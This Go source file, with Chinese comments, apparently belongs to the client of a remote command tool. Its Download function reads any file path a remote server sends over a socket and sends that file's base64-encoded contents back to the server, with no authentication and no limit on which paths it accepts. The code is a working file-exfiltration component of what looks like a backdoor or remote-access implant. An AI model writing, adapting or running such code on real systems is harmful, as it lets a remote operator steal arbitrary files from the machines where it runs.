package cmdClient

import (
	"bufio"
	"encoding/base64"
	"net"
	"os"
)

func Download(conn net.Conn) {
	// 第一步收到下载指令,什么都不做，继续等待下载路径
	download, _ := bufio.NewReader(conn).ReadString('\n')
	decodeDownload, _ := base64.StdEncoding.DecodeString(download)
	file, err := os.ReadFile(string(decodeDownload))
	if err != nil {
		// 找不到文件，发送错误消息
		errMsg := base64.URLEncoding.EncodeToString([]byte("[!] File not found!"))
		conn.Write([]byte(string(errMsg) + "\n"))
		return
	}
	//发送一个download指令给服务器端准备接收
	srvDownloadMsg := base64.URLEncoding.EncodeToString([]byte("download"))
	conn.Write([]byte(string(srvDownloadMsg) + "\n"))
	//读文件上传
	encData := base64.URLEncoding.EncodeToString(file)
	conn.Write([]byte(string(encData) + "\n"))
}
